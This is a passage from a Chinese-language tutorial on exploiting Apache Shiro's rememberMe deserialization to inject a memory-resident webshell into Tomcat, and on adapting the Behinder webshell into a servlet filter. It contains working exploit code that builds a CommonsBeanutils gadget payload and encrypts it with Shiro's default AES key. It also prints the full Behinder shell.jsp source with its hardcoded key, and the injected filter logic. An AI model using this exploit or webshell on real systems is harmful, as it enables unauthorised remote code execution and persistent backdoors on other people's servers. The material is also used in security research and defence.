需要在P神给出的项目环境中添加tomcat核心包解决构造的恶意类报错:
<dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.50</version> </dependency>新建一个类,使用javassist读取一个类文件的class,再利用shiro自带的类,对其进行base64+aes加密
public class Client_memshell { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.govuln.shiroattack.memshell.BehinderFilter.class.getName()); byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }把生成的字符放入rememberMe中即可成功注入内存马
测试弹出计算器
二、注入冰蝎内存马在上面实现了shiro注入内存马后,想着是否能注入冰蝎呢。首先要了解下冰蝎jsp马的逻辑
1)冰蝎逻辑查看Behinder_v3.0_Beta_9中的shell.jsp代码
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } %> <% if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); new U(this.getClass().getClassLoader()).g( c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))) .newInstance().equals(pageContext); } %>冰蝎自定义了一个可以解析class字节数组的类加载器U,逻辑为,使用g方法调用super.defineClass,可以将byte[]直接转换为Class对象
判断为post请求后,读取请求体中的数据,拿到进行Base64+AES解码后的字节码数据。
调用自定义类加载器U拿到class后,进行newInstance实例化,调用其恶意对象的equals方法,并且传入pageContext
2)改造冰蝎马尝试在BehinderFilter.java的filter中,放入冰蝎的核心逻辑代码
if (request.getMethod().equals("POST")) { String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); }